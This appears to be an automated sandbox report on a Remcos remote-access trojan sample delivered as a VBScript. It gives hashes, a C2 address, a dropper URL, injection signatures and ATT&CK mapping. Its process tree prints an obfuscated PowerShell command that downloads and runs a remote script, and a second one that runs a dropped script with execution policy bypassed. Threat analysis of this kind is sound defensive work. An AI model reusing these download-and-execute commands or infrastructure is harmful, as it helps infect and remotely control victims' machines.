remcos | 5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27

General

Target

Appraisal.vbs
Size

713B
MD5

374872083b769268ef5be044031e72cf
SHA1

ccb15dd8642387523121e8c67bb8fa41b2b2f966
SHA256

5f06da67169389577ec237bfb0c3e0e9203833048f48081deed7b6201ad18c27
SHA512

5b97e908e39d61decb10a0b2bdf9d94043d899b86052fcedd598d87a7a610d977b526c5176c91b7bdecacb1a1eb3f39ce3bab9547c253e2b4e17c837dc50de58

Score

10^/10

remcos rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://ia601403.us.archive.org/17/items/all_20210425_202104/ALL.TXT

Extracted

Family

remcos

C2

185.19.85.168:1723

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

7 1536 powershell.exe
16 1536 powershell.exe
18 1536 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 660 set thread context of 3980 660 powershell.exe aspnet_compiler.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

1536 powershell.exe
1536 powershell.exe
1536 powershell.exe
660 powershell.exe
660 powershell.exe
660 powershell.exe
Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exepowershell.exe

description pid process

Token: SeDebugPrivilege 1536 powershell.exe
Token: SeDebugPrivilege 660 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

aspnet_compiler.exe

pid process

3980 aspnet_compiler.exe

flow	pid	process
7	1536	powershell.exe
16	1536	powershell.exe
18	1536	powershell.exe

description	pid	process	target process
PID 660 set thread context of 3980	660	powershell.exe	aspnet_compiler.exe

pid	process
1536	powershell.exe
1536	powershell.exe
1536	powershell.exe
660	powershell.exe
660	powershell.exe
660	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1536	powershell.exe
Token: SeDebugPrivilege	660	powershell.exe

pid	process
3980	aspnet_compiler.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

WScript.exepowershell.exepowershell.exe

description	pid	process	target process
PID 656 wrote to memory of 1536	656	WScript.exe	powershell.exe
PID 656 wrote to memory of 1536	656	WScript.exe	powershell.exe
PID 1536 wrote to memory of 660	1536	powershell.exe	powershell.exe
PID 1536 wrote to memory of 660	1536	powershell.exe	powershell.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe
PID 660 wrote to memory of 3980	660	powershell.exe	aspnet_compiler.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Appraisal.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`E`X((n`e`W`-Obj`E`c`T(('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://ia601403.us.archive.org/17/items/all_20210425_202104/ALL.TXT'))))
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1536

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windo 1 -noexit -exec bypass -file "C:\Users\Public\ Microsoft.ps1"
3⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:660

C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
#cmd
4⤵
- Suspicious use of SetWindowsHookEx
PID:3980

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\ Microsoft.ps1
MD5
ab9f802581d1bbbcafb0cb1f9a3a002f

SHA1
a53f6e8d357edd39060bd4842e448f2c84571b86

SHA256
36fa91c5bfae97b2c9945b055384297afaf148f2becd50e0ce270276ca472855

SHA512
3732785a36fa3c7a8a51969b6fe31da69f19a8d68cd8789236806d81a2bc2d70007b2459d4b739790fd7592c954d9b186e048ddec34c1d3ff6a5c5810cf21621

Download Submit
memory/660-187-0x0000017C82266000-0x0000017C82268000-memory.dmp

Filesize
8KB

Download
memory/660-181-0x0000017C9C5B0000-0x0000017C9C5CF000-memory.dmp

Filesize
124KB

Download
memory/660-186-0x0000017C9C5D0000-0x0000017C9C5D1000-memory.dmp

Filesize
4KB

Download
memory/660-160-0x0000017C82260000-0x0000017C82262000-memory.dmp

Filesize
8KB

Download
memory/660-161-0x0000017C82263000-0x0000017C82265000-memory.dmp

Filesize
8KB

Download
memory/660-137-0x0000000000000000-mapping.dmp

Download
memory/660-164-0x0000017C9C950000-0x0000017C9C951000-memory.dmp

Filesize
4KB

Download
memory/1536-121-0x0000022338190000-0x0000022338192000-memory.dmp

Filesize
8KB

Download
memory/1536-132-0x0000022338196000-0x0000022338198000-memory.dmp

Filesize
8KB

Download
memory/1536-120-0x00000223527F0000-0x00000223527F1000-memory.dmp

Filesize
4KB

Download
memory/1536-127-0x00000223529A0000-0x00000223529A1000-memory.dmp

Filesize
4KB

Download
memory/1536-114-0x0000000000000000-mapping.dmp

Download
memory/1536-122-0x0000022338193000-0x0000022338195000-memory.dmp

Filesize
8KB

Download
memory/3980-188-0x000000000042EEEF-mapping.dmp

Download
memory/3980-189-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads